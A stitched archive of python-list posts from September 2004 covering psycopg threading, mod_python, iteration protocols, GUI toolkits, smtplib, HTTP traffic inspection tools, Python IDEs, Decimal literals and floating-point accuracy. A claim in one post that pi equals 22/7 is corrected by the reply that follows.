> my problem is that psycopg let's my threads end before the inserts 
> actually took place, resulting in my collecting thread finding no 
> records... They are inserted after it checks.

I just wrote a small test program and was unable to duplicate your
problem -- the inserting threads ran, then the collecting thread
saw the data.

Without seeing your code we can only guess at what's wrong.  Please
post the simplest program that reproduces the problem.

What versions of Python, psycopg, and PostgreSQL are you using?
What operating system and version are you running on?

> Is there a way to tell psycopg or python to wait until the insert took 
> place?

In my test program, the inserting threads called conn.commit() and
then exited.  I then joined all of the inserting threads before
starting the collecting thread.  You could also use a condition
variable to signal when the inserts have been committed.

-- 
Michael Fuhr
http://www.fuhr.org/~mfuhr/


From NOS at Utel.no  Wed Sep 22 19:04:06 2004
From: NOS at Utel.no (=?iso-8859-1?q?Nils_O=2E_Sel=E5sdal?=)
Date: 23 Sep 2004 01:04:06 +0200
Subject: Mod_Python apache question.
References: <30875970.0409221441.1a95eac5@posting.google.com>
Message-ID: <pan.2004.09.22.23.04.05.818655@Utel.no>

On Wed, 22 Sep 2004 15:41:35 -0700, Ian Pellew wrote:

> Hi all;
> 
> Am I correct in thinking that Mod_Python simply executes Python
> scripts from the server side using an internal Apache python engine?
Yes.
> Can a web page have Python script embedded in it like Java as well?
If you mean by executing on the client , no. 
You can embed and process python on the server side though(PSP), similar
to PHP/ASP/JSP..



From exarkun at divmod.com  Mon Sep 20 15:44:20 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Mon, 20 Sep 2004 19:44:20 GMT
Subject: How does this function work?
In-Reply-To: 0
Message-ID: <20040920194420.29723.1699939265.divmod.quotient.4203@ohm>


  >>> def f(y):
  ...     return [x for x in range(3), 1, y for y in range(4), 4]
  ... 
  >>> f(3)
  [[0, 1, 2], [0, 1, 2], 1, 1, 3, 3]
  >>> 

  I've been staring at it for 15 minutes and I'm no closer to understanding than when I started.

  Why is this even legal Python syntax?  What is going on that makes it return what it does?

  Jp


From aleaxit at yahoo.com  Sat Sep  4 05:00:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:31 +0200
Subject: Check existence of members/methods
References: <qaNZc.23386$CG3.1553602@news20.bellglobal.com>
Message-ID: <1gjk0oi.1bn85pv6h55h4N%aleaxit@yahoo.com>

Nicolas Fleury <nid_oizo at yahoo.com_remove_the_> wrote:
   ...
> def noraise(expressionString):
>      try: eval(expressionString)
>      except: return True
>      return False
> 
> if noraise("object.setXmlFilename"):
>      object.setXmlFilename(currentFilename)
> elif noraise("object.xmlFilename"):
>      object.xmlFilename = currentFilename
> 
> But it puts code in strings, which I feel less natural.  What do you 
> think about it?  Have I miss a better solution or is there something for
> that in the language?


try: meth = object.setXmlFilename
except AttributeError: meth = lambda x: setattr(object,'xmlFilename',x)
meth(currentFillename)

This doesn't assume that object.xmlFilename must already exist before
you can set it, which IS implied by your code here quoted -- it just
seems a slightly weird condition to me.

I personally prefer the try/except/else variant:

try: meth = object.setXmlFilename
except AttributeError: object.xmlFilename = x
else: meth(currentFillename)

it seems way simpler to me.  However, if you think of objects lacking a
setter method as weird and exceptional ones, I see why this might seem
backwards.  Personally, I consider setter methods the anomaly (it's
exactly to avoid them that we have property...:-) but I do understand
they're frequently used.  If I often had to fight with objects full of
getThis, setThat methods I'd wrap them into a generic wrapper with a
__setattr__ and __getattr__ to be able to use attribute get and set as
common sense and decency require, e.g, something like....:

class MakeSensible:
    def __init__(self, obj): self.__dict__['obj'] = obj
    def __getattr__(self, name):
         methname = 'get' + name[0].uppercase() + name[:1]
         return getattr(self.obj,methname)()
    def __setattr__(self, name, value):
         methname = 'set' + name[0].uppercase() + name[:1]
         return getattr(self.obj,methname)(value)

(or, you could build all the needed properties at wrapping time, but
it's unclear if that would be an advantage in performance and it would
surely take a bit more code!-).  Having made the object sensible once
and for all, thanks to this wrapper, you wouldn't need to thread
carefully throughout the rest of your application...


Alex


From mlerner at NO.SPAMumichPLEASE.edu  Wed Sep  8 00:51:45 2004
From: mlerner at NO.SPAMumichPLEASE.edu (Michael George Lerner)
Date: Wed, 08 Sep 2004 04:51:45 GMT
Subject: Secure delete with python
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
	<VK3%c.2013$ip2.2002@newsread3.news.pas.earthlink.net>
Message-ID: <Bdw%c.37$cR.1212@news.itd.umich.edu>

Andrew Dalke <adalke at mindspring.com> wrote:
> Ville Vainio wrote:
>> Seriously? What OSen are known for [writing new content at
>  > another location of the disk]? I'd had thought that if
>> the file size is unchanged, the data is always written over the old
>> data...

> It can even be filesystem specific.  Back in the days
> of WORM drives (do people still use those?)

I know that some government agencies were still using them as recently 
as a couple of years ago .. there were some regulations that said that
you had to keep undeletable backups of everything.  I think your choice
was basically between a warehouse full of file cabinets and a WORM
drive or two.

-michael


From aleaxit at yahoo.com  Tue Sep  7 05:32:44 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 11:32:44 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
	<9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net>
	<mailman.2913.1094451430.5135.python-list@python.org>
	<1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com>
	<mailman.2944.1094506599.5135.python-list@python.org>
	<1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com>
	<mailman.2955.1094538759.5135.python-list@python.org>
	<1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com>
	<mailman.2962.1094543082.5135.python-list@python.org>
Message-ID: <1gjqq4n.ymzsqv1qptuk5N%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:
   ...
> If you've provided a __len__ method and a __getitem__ that returns items for
> each index, then you've already provided all the necessary information for
> iteration.  If the __getitem__ also has to raise an IndexError when the index
> exceeds the length, in some sense, you're duplicating information -- both
> __len__ and the IndexError tell you the length of the sequence.  So it's not
> an exception fear, but a duplication of code fear, which I hope is somewhat
> more Pythonic. =)
> 
> It would have made describing the protocol somewhat more complex, but it would
> have made using the protocol in a class simpler.  Moot point of course, since
> I'm fully convinced that changing the protocol is infeasible. =)

We do agree the point is moot, but we deeply disagree on the point
itself.

__getitem__ has to raise IndexError for invalid indices -- that's part
of its job.  Now we're not talking just about iteration anymore, but any
kind of indexing.  Having the existence of __len__ interfere with how or
whether __getitem__ gets called would just substantially complicate
things, particularly considering that both exist for mappings as well as
for sequences.  It may look superficially "convenient" to lighten your
_getitem__'s burden by wishing it would only be called for "good"
indices, but it's really an optical illusion.

As for having __getitem__ sometimes called unconditionally (whether
__len__ is there or not) and sometimes conditionally (when either
__len__ is absent, or, if present, then only for indices that appear to
be correct depending on __len__'s return value) -- this way madness
lies.  Attempts to make things "convenient" in this way are behind the
almost inevitable bloating of all languages whose design principles
don't put simplicity high enough on the list.  "Special cases are not
special enough to break the rules".  When moving to Python from other
languages, this kind of dynamic tension between mere convenience and
conceptual simplicity is quite an important thing to keep in mind, if
one is keen about understanding in depth various aspects of its design
(and you do appear to be just the kind of person who values such
in-depth understanding -- I'm also very much like that, myself) -- which
is why I'm trying to explain my mental model for why that particular
design aspect, even though not all that relevant today, was indeed an
excellent choice (note that I have no bias in the matter -- that
protocol was in Python well before I knew what Python was!-).

It's partly a matter of "look before you leap" versus "easier to ask
forgiveness than permission", a conceptual distinction that IS quite a
hobby-horse of mine (although "practicality beats purity", mind you;-).


Alex
 


From lbates at swamisoft.com  Fri Sep 10 09:13:24 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 10 Sep 2004 08:13:24 -0500
Subject: python, javascript and mysql
References: <Xns95601196933C1inderjitraiyahoocom@66.185.95.104>
Message-ID: <hMidnR_NH9PyNdzcRVn-vg@comcast.com>

The answer is that you can do it either way.
You can have python create JavaScript that creates
a variable (normally an array) that contains the
values and then have a JavaScript function that
builds the table via DOM or you can just create
the entire page using Python (as HTML) on the
server and send it.  All depends on exactly how
the application needs to act and if you are
comfortable with JavaScript client programming.

Larry Bates
Syscon, Inc.

"someguy" <inderjitrai at yahoo.com> wrote in message
news:Xns95601196933C1inderjitraiyahoocom at 66.185.95.104...
> Hi all!
>     I'm new to python so i'm hoping someone could help me out.  I'm
> trying to use python for cgi.  I have a page with pictures along the sides
> and a table in the middle.  The pictures on the side change using
> javascript.  What I want to do is populate that table by getting the
> records from mySql using python and then somehow populate my table on the
> page with these values.  How do i pass these values from python back to
> javascript?  Or do i have to generate the whole html code again in the cgi
> file?
>
> Thanks in advance




From mail at zerospam.cleatorwilson.com  Fri Sep 10 21:10:08 2004
From: mail at zerospam.cleatorwilson.com (ciw1973)
Date: Fri, 10 Sep 2004 21:10:08 -0400
Subject: Lua versus C++ for embedded processor
References: <mailman.369.1074114471.12720.python-list@python.org>
Message-ID: <45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com>

I'll be starting a new project using Rabbit modules (the new wonderfully
low cost, feature rich RCM3700) in a couple of weeks time. I'm quite happy
to code in Dynamic C and the new version is supposed to have improved a
good deal, but I do like the idea of using scripting languages where
possible for future maintainability and Lua would probably be about the
only option for a device like the Rabbit. If you port it to Dynamic C,
could you let me know? I'd be very interested.

I took a look at Lua a while ago, and even bought the Lua book to allow me
to get a good feel for the language. It is actually very good, but at the
time I was looking at it as a replacement for Python, but for my
day-to-day, non-embedded work, the lack of additional libraries (compared
to Python) was an issue.

It did strike me as being ideal for embedded work, primarily due to its
size, and deploying a product running software written in an interpreted
language allows quick and easy live remote updating of the software
itself. I've done this on devices based on embedded PC architecture
running Perl, but it always seemed too optimistic a goal on something like
the Rabbit Cores.



From Barkmann at gmail.com  Fri Sep 17 00:41:45 2004
From: Barkmann at gmail.com (Chris Barker)
Date: 16 Sep 2004 21:41:45 -0700
Subject: Comparioson of purpose for PyGUI and AnyGUI ???
References: <cicsha$prl@odbk17.prod.google.com>
	<cid5as$u3j$1@news-reader2.wanadoo.fr>
Message-ID: <cc887c1d.0409162041.1433bac1@posting.google.com>

I can't help myself.

I havn't used either PyGUI or AnyGUI, but there is a reason:

PyGUI looks like a wonderful project, the kind of GUI framework that
should have come with Python ages ago. Let's face it, would TCL have
ANYTHING like it's current popularity if it hadn't been for TK? It
seems to me that AnyGUI is trying to be for Python what TK is for TCL,
a real, native toolkit makde to work well with the language.

However, it is going to take a LOT of work to get it to a point where
it is nearly as full featured as wxPython, PYGTK or PyQT (or even
TKinter, if you include all the extensions available for it). I can't
help wondering if the project would be better off leveraging a
existing cross-platform toolkit, maybe one lighter weight than wx,
like Fox or FLTK. Anyway, if the PyGUI folks (is anyone other than
Greg Ewing working on it?) can keep the momentum going, I'll certainly
switch when it supports the features I need. It does have one
development advantage over wxPython: any higher level widgets (grid,
canvas, etc) should be much easier to maintain, as they will be
written in Python, rather than C++.

One thing that isn't clear to me about PyGUI is how much they intend
to leverage the underlying toolkits. wxWidgets (and thus wxPython)
make use of a lot of higer level widgets like the tree controls, using
the native ones in  the underlying toolkits. This makes apps look very
native, but does create a very difficult problem in cross platform
compatibility. I wonder where in the native vs. cross platform
continuum PyGUI will fall...

We should all keep an eye on Wax and Pythoncard as well. Similar goals
to PyGUI, but taking a different approach, by leveraging the exisitng
wxPython framework. This gives them far more functionality, even when
they are immature, which is nice. I'd much rather do something in a
non-python way than not be able to do it at all!

Now AnyGUI:

I have always thought this was a mis-guided effort from the beginning.
"""
The purpose of the Anygui project is to create an easy-to-use, simple,
and generic module for making graphical user interfaces in Python. Its
main feature is that it works transparently with many different GUI
packages on most platforms.
"""

The first part is the same goal as PyGUI (and any number of other
projects). The second part, however, I just don't get. Who cares that
it will work with multiple toolkits underneith? When I'm selecting a
toolkit, aside from licensing issues, I consider:

* What platforms does it run on?

As long as it runs on the platforms I need, I'm happy. In my case,
that's OS-X, Linux and Windows.

* What is the "look and feel" (the users experience)?

I prefer to have a native look and feel. Some don't care so much.

* What is the API like (the programmers experience)?

I'd like it to be clean, and feel "pythonic"

* What features does it have? (how much code can I just use, rather
than have to write myself)

The TK Canvas, for instance, is a strong argument for TK. wx.Grid and
wx.STC likewise for wxPython.

As far as what is functioning today, that leaves wxPython and pyQT as
my options. I don't like the API of wxPython much, but it's C++ core
is in fact helpful to me. I work in a shop that is quite distrustful
of new fangled things like Python, but I have gotten them to use
wxWidgets with C++, and have some hope of moving some or all work to
wxPython. The fact that I can use the same toolkit with C++ and Python
is a big win for that.

Now back to AnyGUI: how is going to help with any of the above issues?
wxPython works on all the platforms I need, and has most of the
features I need. It has a pretty lousy API, so I'd like to see that
improve. However, AnyGUI, while it will likely provide a much more
Pythonic API, is introducing another requirement that is going to be a
real problem: it needs to work with lots of toolkits. This is going to
cause a balance between two competing problems:

1) lowest common denominator. If a feature doesn't exist on all
toolkits, AnyGUI can't have it.

or

2) emulating features on all the platforms that don't have them. This
is a Monsterous amount of work ,and may not even be practical without
resorting to C or C++. Can you imagine writing the wx.Grid in TK, GTK,
Swing, QT, curses!, FLTK, and who knows what else.

Another issue is layers:

AnyGUI wxPython is a python wrapper around a SWIG wrapper around a C++
wrapper around a set of native toolkits.

AnyGUI TKinter is a python wrapper around a python wrapper around a
TCL toolkit, written in C that emulates X on non-X platforms.

Doesn't this seem a bit much?

I'd much rather see the effort going into making wxPython more
pythonic (Wax or Pythoncard), or a truly python native toolkit, like
PyGUI

that's enough ranting for one night!

-Chris


From Brian.Inglis at SystematicSW.Invalid  Thu Sep  2 04:35:30 2004
From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis)
Date: Thu, 02 Sep 2004 08:35:30 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
Message-ID: <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>

On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W.
Kennedy" <jwkenne at attglobal.net> wrote:

>Andre Majorel wrote:
>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
>> 
>>>On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers,
>>>Andre Majorel <amajorel at teezer.fr> wrote:
>>>
>>>
>>>>On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote:
>>>
>>>>>Windows (MS) is not 'Unixism'?
>>>>
>>>>If by unixism, you mean any operating system that has a
>>>>hierarchical filesystem and byte stream files, yes. But that
>>>>would include quite a few other non-Unix operating systems,
>>>>including Mac OS 9, Prologue and probably everything else this
>>>>side of CP/M (DOS 1.x shall be deemed to be CP/M).
>>>
>>>DOS 2.x+ shall be deemed to be CP/M+! 
>> 
>> 
>> Wasn't it in version 2 that they added directories and
>> Unix-style file handles ?
>
>Yes, and also a single-process pipe emulator.  Ever since 2.0, MS has 
>been trying to turn MS-DOS (later, Windows) into a Unix clone.

MS has been borrowing code from Unix to create a real OS: TCP/IP;
NTFS<-ffs; memory mapped files<-mmap. 
Shame they keep trying to add their own ideas in too: that must be
what causes the crashes! 

-- 
Thanks. Take care, Brian Inglis 	Calgary, Alberta, Canada

Brian.Inglis at CSi.com 	(Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca)
    fake address		use address above to reply


From jjl at pobox.com  Tue Sep  7 19:25:45 2004
From: jjl at pobox.com (John J. Lee)
Date: 08 Sep 2004 00:25:45 +0100
Subject: view http info when browsing
References: <56d498d9.0409051725.1c7d3258@posting.google.com>
Message-ID: <87vfep4q6e.fsf@pobox.com>

santoshamb at yahoo.com (ben) writes:

> I'm trying to write a web client script in python to log onto a web
> page and pull some information off of it.  The page has quite a few
> behind the scenes http things going on that are making it difficult to
> write the python script.  I think if I could see the raw http data
> that comes to my browser life would be much easier.  Does anybody know
> of programs that would run alongside my browser and show the http data
> that is send back and forth?
> 
> I've looked at plugins like httpwatch and iewatch.  httpwatch looks
> good but it costs quite a bit of money, and the trial is not fully
> functional.  iewatch has a free trial, but they don't show cookie
> info, which is important.
> 
> Does anybody know a good way of view the raw http?
[...]

from http://wwwsearch.sourceforge.net/bits/GeneralFAQ.html :

| I want to see what my web browser is doing, but standard network
| sniffers like ethereal or netcat (nc) don't work for HTTPS. How do I
| sniff HTTPS traffic?
| 
| Three good options: 
| 
| Mozilla plugin: livehttpheaders. 
| ieHTTPHeaders does the same for MSIE. 
| Use lynx -trace, and filter out the junk with a script. 
| 
| I'm told you can also use a proxy like proxomitron (never tried it
| myself). There's also a commercial MSIE plugin.

URLs:

http://www.ethereal.com/

http://livehttpheaders.mozdev.org/

http://www.blunck.info/iehttpheaders.html

http://lynx.browser.org/

http://www.proxomitron.info/

http://www.simtec.ltd.uk/


There are plugins that show what session & permanent cookies your
browser has stored, too.  Both Mozilla and Konqueror (& Safari and
Opera too, I guess?) do this as standard, but for IE:

http://www.codeproject.com/shell/cookiespy.asp?df=100&forumid=1989&exp=0&select=21591


John


From me at privacy.net  Sun Sep 26 15:52:20 2004
From: me at privacy.net (Richard Hanson)
Date: Sun, 26 Sep 2004 12:52:20 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<mailman.3921.1096180082.5135.python-list@python.org>
Message-ID: <mk1el0tnn014kp3lfnal66tcm67k8pkegt@4ax.com>

Paolo Veronelli wrote:

> Anyway good luck and take a good look on Indigo job:Unununium

Thanks! And thanks for that reference! -- I'll check it out when I get
the opportunity.

---

[Note: I am having equipment and connectivity problems. I'll be back
as I can when I get things sorted out better, and as appropriate (or
inappropriate ;-) ). Thanks to you and to all for the civil
and fun discussions!]


I-can-*almost*-remember-when-things-were-simpler'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From listserver at tdw.net  Fri Sep 17 17:08:55 2004
From: listserver at tdw.net (Tim Williams)
Date: Fri, 17 Sep 2004 22:08:55 +0100
Subject: smtplib (111, 'Connection refused')
References: <mailman.3467.1095448992.5135.python-list@python.org><ZtqdnZb0ScD229bcRVn-iA@powergate.ca>
	<4a0cafe204091713587ba4e3d7@mail.gmail.com>
Message-ID: <000601c49cfa$8b350000$ccbefea9@twilliams>

----- Original Message ----- 
From: "Josh Close" <narshe at gmail.com>


> import smtplib
>
> mail = smtplib.SMTP('localhost')
> mail.send('me','user at domain.tld','message goes here')
> mail.quit()
>
> but this fails at the smtplib.SMTP() line on one box, but not on another.
>

You either only have an SMTP server running on one box (the successful one),
or localhost isn't configured properly on the failing machine





From aleaxit at yahoo.com  Thu Sep  9 12:58:48 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 18:58:48 +0200
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <1gjv0o9.4azuf418mt525N%aleaxit@yahoo.com>

marduk <marduk at python.net> wrote:

> I commonly use code like this
> 
> try:
>     # call optional method
>     myobj.method()
> except AttributeError:
>     # no biggie
>     pass
> 
> 
> Occasionally I use pylint, which is a good tool, but in the above
> snippet pylint will complain that 'Except doesn't do anything'.  True,
> but is that bad style?  I know there are other ways of doing it, but
> of all the other "obvious" ones, this appears the most straight
> forward.
> 
> Should I ignore pylint or is there a more Pythonic way to do this?

I would prefer:

try: themethod = myobj.method
except AttributeError: pass
else: themethod()

but this, too, has an empty except body, which IS pretty normal...


Alex


From FBatista at uniFON.com.ar  Fri Sep 24 16:20:56 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Fri, 24 Sep 2004 17:20:56 -0300
Subject: Why not FP for Money?
Message-ID: <A128D751272CD411BC9200508BC2194D053C79D9@escpl.tcp.com.ar>

[Carlos Ribeiro]

#- If I got Paul right, it means the same I've been advocating: a
#- notation to write floating point decimals directly without 
#- the need to
#- pass strings or floats. We've proposed some alternatives:
#- 
#- 1) 'd' suffix:  a = 10.123d
#- 2) '$ prefix:  a = $10.123

Right now Decimal is a python-pure module. Someday, it'll become a C module
for speed reasons (don't expect that from me, don't know enough C). Someday,
after that, *maybe* it'll become a core data type, and there we'll have to
discuss all that (and it won't be a ten-messages-thread, I can assure you).

Why those steps? To achieve a community consensus for the PEP I've made was
not easy and took me a long time. Before it becomes a core data type (if
someday), decimal needs to be used *widely*. So start spreading the word! :)


#- For now, I'm just playing with the alternatives -- it's pretty much
#- like the big decorator debate, only the timing is better :-)  (just
#- joking, really -- a good literal notation is *much* needed to allow
#- use of decimals without binary floating point surprises 
#- happening from
#- time to time).

Meanwhile, use decimal.Decimal("<number>").

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040924/93fd23e0/attachment.html>

From adurdin at gmail.com  Tue Sep  7 02:03:42 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Tue, 7 Sep 2004 16:03:42 +1000
Subject: Proto-PEP: Overloadable Boolean Operators
In-Reply-To: <2q4s80Fr7lqtU1@uni-berlin.de>
References: <413AEEF9.7060102@cosc.canterbury.ac.nz>
	<1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com>
	<2q4s80Fr7lqtU1@uni-berlin.de>
Message-ID: <59e9fd3a040906230356bc6c4e@mail.gmail.com>

On Tue, 07 Sep 2004 16:37:18 +1200, Greg Ewing
<greg at cosc.canterbury.ac.nz> wrote:
> Alex Martelli wrote:
> > Problem is, __nonzero__ is currently
> > typechecked -- it has to return an integer.
> 
> Yes, that's the problem. I should probably elaborate
> on that a bit in the PEP.

That is not the only issue with __nonzero__ versus __not__ -- in some
cases (e.g. the symbolic algebra or SQL query constructor) it is
useful to determine when an explicit "not" operator has been used.

I'm not at a machine with the patch installed on it at the moment, but
I just began to whether this patch would have an effect on expressions
like (a < b < c) (which are also short-circuiting)...  Come to think
of it, how do objects which override __gt__ and the other comparisons
(particularly for expression construction) work in that case?


From ipmonger at comcast.net  Fri Sep 10 15:58:47 2004
From: ipmonger at comcast.net (Jon Boone)
Date: Fri, 10 Sep 2004 15:58:47 -0400
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<1ctshc.kd52.ln@via.reistad.priv.no>
Message-ID: <BD677FB7.30BA5%ipmonger@comcast.net>

On 2004-09-10 14:56, in article 1ctshc.kd52.ln at via.reistad.priv.no, "Morten
Reistad" <firstname at lastname.pr1v.n0> wrote:

> I just don't get it. The stated agenda is either misstated, or grossly
> misimplemented.

  Never attribute to malice what is adequately explained through
incompetence.

--jon



From jjl at pobox.com  Sun Sep 12 17:24:26 2004
From: jjl at pobox.com (John J. Lee)
Date: 12 Sep 2004 22:24:26 +0100
Subject: WxInter
References: <mailman.3148.1094829029.5135.python-list@python.org>
	<chsieg$7q1$1@news-reader3.wanadoo.fr>
	<mailman.3153.1094832126.5135.python-list@python.org>
	<chskc9$5ap$1@news-reader1.wanadoo.fr>
Message-ID: <87k6uz9o51.fsf@pobox.com>

Eric Brunel <eric_brunel at despammed.com> writes:
> Phil Thompson wrote:
[...]
> >>manipulated as a whole. Basically, in tk, canvases are for vector drawing;
> >>in other toolkits, they're more for bitmap drawing. And this makes quite a
> >>difference... --
> > Some other toolkits maybe, but not all...
> > http://doc.trolltech.com/3.3/canvas.html
> 
> As I said in a previous post, I'm quite glad to be proven wrong...
> 
> Too bad Qt's not free for Windows...

Maybe not forever:

(note that, despite the URL and page banner, this *isn't* to depend on
cygwin -- they intend it to be a native port)

http://kde-cygwin.sourceforge.net/qt3-win32/


John


From MLists at romulo.de  Tue Sep 21 09:56:26 2004
From: MLists at romulo.de (Rainer Mansfeld)
Date: Tue, 21 Sep 2004 15:56:26 +0200
Subject: Missing fpconst?
In-Reply-To: <m9mdnTk0tbWTrc3cRVn-jw@powergate.ca>
References: <m9mdnTk0tbWTrc3cRVn-jw@powergate.ca>
Message-ID: <4150330A.5090208@romulo.de>

phansen wrote:
> I was trying to start some experiments with SOAP, but
> fairly quickly discovered that SOAPpy (required by
> twisted.web.soap and other things) relies on something
> called fpconst, which was apparently available from the
> page http://www.analytics.washington.edu/Zope/projects/fpconst/
> which no longer exists.  Attempts to find the project
> in other ways have so far failed.
> 
Hi Peter,

you can download fpconst from

http://www.analytics.washington.edu/statcomp/projects/testfolder/rzope/fpconst

HTH
   Rainer




From robmccrea at spaamadelphiaspremoveam.net  Tue Sep 14 14:37:50 2004
From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea)
Date: Tue, 14 Sep 2004 14:37:50 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <0aidne7t9Or0k9rcRVn-qw@giganews.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<mailman.3310.1095171925.5135.python-list@python.org>
	<0aidne7t9Or0k9rcRVn-qw@giganews.com>
Message-ID: <41473A7E.8060309@spaamadelphiaspremoveam.net>

Istvan Albert wrote:
> Carlos Ribeiro wrote:
> 
>> On Mon, 13 Sep 2004 18:45:45 -0400, Rob McCrea
> 
> 
>>> My search for a good IDE ended years ago when I started learning C++,
>>> and found EditPlus, http://www.editplus.com/  --  $30, free 30 day trial
> 
> 
>> Reading your feature list, it seems to be missing project management,
>> or to put it simply, to be able to track down what files are part of
>> the project without the need to actually walk around the directory
>> tree to hunt them down. I'll check it out, nonetheless.
> 
> 
> It does have project management. EditPlus is my favorite editor
> and every time I try another IDE I find the EditPlus does some things
> so much better that I'll go back to it.
> 
> Istvan

Yep, I did try to infer the project management when I mentioned I had a 
tool for [execute "~thisproject.exe"], but my message certainly wasn
t well-composed :)

And Carlos, I am very curious about why you took the time to "de-spam" 
my e-mail address when you sent the message to the group anyway.  But, 
no need to satisfy my curiousity  :)

Hope you do find something which is right for you, which should be a key 
point.  To each his own.

Rob





From richie at entrian.com  Tue Sep 28 10:35:30 2004
From: richie at entrian.com (Richie Hindle)
Date: Tue, 28 Sep 2004 15:35:30 +0100
Subject: False exceptions?" (was Re: theme of the week: tools
In-Reply-To: <Pine.LNX.4.50.0409272150400.3157-100000@hedgehog>
References: <Pine.LNX.4.50.0409272150400.3157-100000@hedgehog>
Message-ID: <tnril0d2sa2dbk29ppi4iebfobutknhbi6@4ax.com>


[Stephan]
> The "false exceptions" thing is a technical limitation of detecting
> whether or not an exception is going to lead to program termination at the
> moment it is raised, rather than later when exiting the program.  We go up
> the stack to inspect Python byte code, and since we can't see into C/C++
> object code we sometimes get it wrong.

Thanks for this explanation - very interesting.  I'm a bit confused as to why
you do this, though.  Assuming an exception "is going to lead to program
termination", trapping it at the point it's raised is only one instruction
away from trapping at the point it causes termination (via sys.excepthook).
When it hits sys.excepthook, it's still carrying all the stack frames that led
to its being thrown.  If you make those stack frames available in the
debugger, you'd still be able to inspect the state of the code as it was when
the exception was raised.  Nothing can have happened to change the state of
the program in the intervening... ah, OK, 'finally' blocks.  'Finally' blocks
will run between the exception being raised and sys.excepthook being called.
Is that really the only reason you've implemented this feature, or am I
missing something?

-- 
Richie Hindle
richie at entrian.com



From aleaxit at yahoo.com  Sun Sep 19 13:21:49 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 19 Sep 2004 19:21:49 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
Message-ID: <1gkdiag.130iwtl1rxrmsqN%aleaxit@yahoo.com>

Gary Herron <gherron at islandtraining.com> wrote:
   ...
> > > irrational numbers like sqrt(2) and transcendental numbers like PI?
> >
> > Sqrt is a fair criticism, but Pi equals 22/7, 
> 
> What? WHAT?  Are you nuts?  Pi and 22/7 are most certainly not equal.
> They don't even share three digits beyond the decimal point.  (Can you
> really be that ignorant about numbers and expect to contribute
> intelligently to a discussion about numbers.  Pi is a non-repeating
> and non-ending number in base 10 or any other base.)

Any _integer_ base -- you can find infinitely many irrational bases in
which pi has repeating or terminating expansion (for example, you could
use pi itself as a base;-).  OK, OK, I _am_ being silly!-)

> If you are happy doing calculations with decimal numbers like 12.10 +
> 8.30, then the Decimal package may be what you want, but that fails as
> soon as you want 1/3.

But it fails in exactly the same way as a cheap calculator of the same
precision, and some people just have a fetish for that.

> But then you could use a rational arithmetic
> package and get 1/3, but that would fail as soon as you needed sqrt(2)
> or Pi.  But then you could try ... what?  Can you see the pattern

Uh, "constructive reals", such as those you can find at
<http://www.hpl.hp.com/personal/Hans_Boehm/crcalc/> ...?

"Numbers are represented exactly internally to the calculator, and then
